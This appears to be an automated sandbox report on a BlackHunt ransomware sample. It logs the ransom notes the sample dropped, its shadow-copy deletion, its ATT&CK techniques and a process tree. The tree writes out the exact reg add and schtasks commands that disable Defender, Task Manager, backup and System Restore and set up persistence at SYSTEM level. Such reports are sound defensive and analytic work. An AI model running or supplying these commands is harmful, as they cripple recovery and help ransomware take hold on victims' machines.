File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.pb_2.3.5.v201404071733.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util-lookup.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-progress.xml	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-execution.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Makassar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\lua\sd\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicTSFrame.png	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Nicosia	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\cloud_Thumbnail.bmp	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-plaf.xml	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\CST6	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\logging.properties	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-text.xml	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Adelaide	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\indxicon.gif	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding_1.4.2.v20140729-1044.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guyana	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dushanbe	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pt_BR.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
912	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2764	vssadmin.exe
1996	vssadmin.exe
2424	vssadmin.exe
924	vssadmin.exe
844	vssadmin.exe
1000	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3584	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	svchost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2732	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3772	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeRestorePrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeBackupPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeTakeOwnershipPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeAuditPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeSecurityPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeIncBasePriorityPrivilege	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeBackupPrivilege	2080	vssvc.exe
Token: SeRestorePrivilege	2080	vssvc.exe
Token: SeAuditPrivilege	2080	vssvc.exe
Token: SeBackupPrivilege	3528	wbengine.exe
Token: SeRestorePrivilege	3528	wbengine.exe
Token: SeSecurityPrivilege	3528	wbengine.exe
Token: SeSecurityPrivilege	2696	wevtutil.exe
Token: SeBackupPrivilege	2696	wevtutil.exe
Token: SeSecurityPrivilege	2792	wevtutil.exe
Token: SeBackupPrivilege	2792	wevtutil.exe
Token: SeSecurityPrivilege	2016	wevtutil.exe
Token: SeBackupPrivilege	2016	wevtutil.exe
Token: SeSecurityPrivilege	2068	wevtutil.exe
Token: SeBackupPrivilege	2068	wevtutil.exe
Token: SeSecurityPrivilege	1612	wevtutil.exe
Token: SeBackupPrivilege	1612	wevtutil.exe
Token: SeDebugPrivilege	3584	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2220	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	109
PID 3040 wrote to memory of 2220	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	109
PID 3040 wrote to memory of 2220	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	109
PID 3040 wrote to memory of 2220	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	109
PID 3040 wrote to memory of 2892	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	107
PID 3040 wrote to memory of 2892	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	107
PID 3040 wrote to memory of 2892	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	107
PID 3040 wrote to memory of 2892	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	107
PID 3040 wrote to memory of 1060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 3040 wrote to memory of 1060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 3040 wrote to memory of 1060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 3040 wrote to memory of 1060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 2220 wrote to memory of 2728	2220	cmd.exe	103
PID 2220 wrote to memory of 2728	2220	cmd.exe	103
PID 2220 wrote to memory of 2728	2220	cmd.exe	103
PID 3040 wrote to memory of 2060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	32
PID 3040 wrote to memory of 2060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	32
PID 3040 wrote to memory of 2060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	32
PID 3040 wrote to memory of 2060	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	32
PID 3040 wrote to memory of 2784	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	30
PID 3040 wrote to memory of 2784	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	30
PID 3040 wrote to memory of 2784	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	30
PID 3040 wrote to memory of 2784	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	30
PID 3040 wrote to memory of 2828	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	101
PID 3040 wrote to memory of 2828	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	101
PID 3040 wrote to memory of 2828	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	101
PID 3040 wrote to memory of 2828	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	101
PID 2892 wrote to memory of 2976	2892	cmd.exe	152
PID 2892 wrote to memory of 2976	2892	cmd.exe	152
PID 2892 wrote to memory of 2976	2892	cmd.exe	152
PID 3040 wrote to memory of 2712	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	98
PID 3040 wrote to memory of 2712	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	98
PID 3040 wrote to memory of 2712	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	98
PID 3040 wrote to memory of 2712	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	98
PID 1060 wrote to memory of 2832	1060	cmd.exe	97
PID 1060 wrote to memory of 2832	1060	cmd.exe	97
PID 1060 wrote to memory of 2832	1060	cmd.exe	97
PID 3040 wrote to memory of 2836	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	95
PID 3040 wrote to memory of 2836	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	95
PID 3040 wrote to memory of 2836	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	95
PID 3040 wrote to memory of 2836	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	95
PID 3040 wrote to memory of 2268	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	33
PID 3040 wrote to memory of 2268	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	33
PID 3040 wrote to memory of 2268	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	33
PID 3040 wrote to memory of 2268	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	33
PID 3040 wrote to memory of 2700	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	93
PID 3040 wrote to memory of 2700	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	93
PID 3040 wrote to memory of 2700	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	93
PID 3040 wrote to memory of 2700	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	93
PID 3040 wrote to memory of 2192	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	90
PID 3040 wrote to memory of 2192	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	90
PID 3040 wrote to memory of 2192	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	90
PID 3040 wrote to memory of 2192	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	90
PID 2060 wrote to memory of 2608	2060	cmd.exe	91
PID 2060 wrote to memory of 2608	2060	cmd.exe	91
PID 2060 wrote to memory of 2608	2060	cmd.exe	91
PID 3040 wrote to memory of 2720	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	34
PID 3040 wrote to memory of 2720	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	34
PID 3040 wrote to memory of 2720	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	34
PID 3040 wrote to memory of 2720	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	34
PID 2784 wrote to memory of 2644	2784	cmd.exe	37
PID 2784 wrote to memory of 2644	2784	cmd.exe	37
PID 2784 wrote to memory of 2644	2784	cmd.exe	37
PID 3040 wrote to memory of 2804	3040	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	36

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
"C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe" /F
  2⤵
  PID:2920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
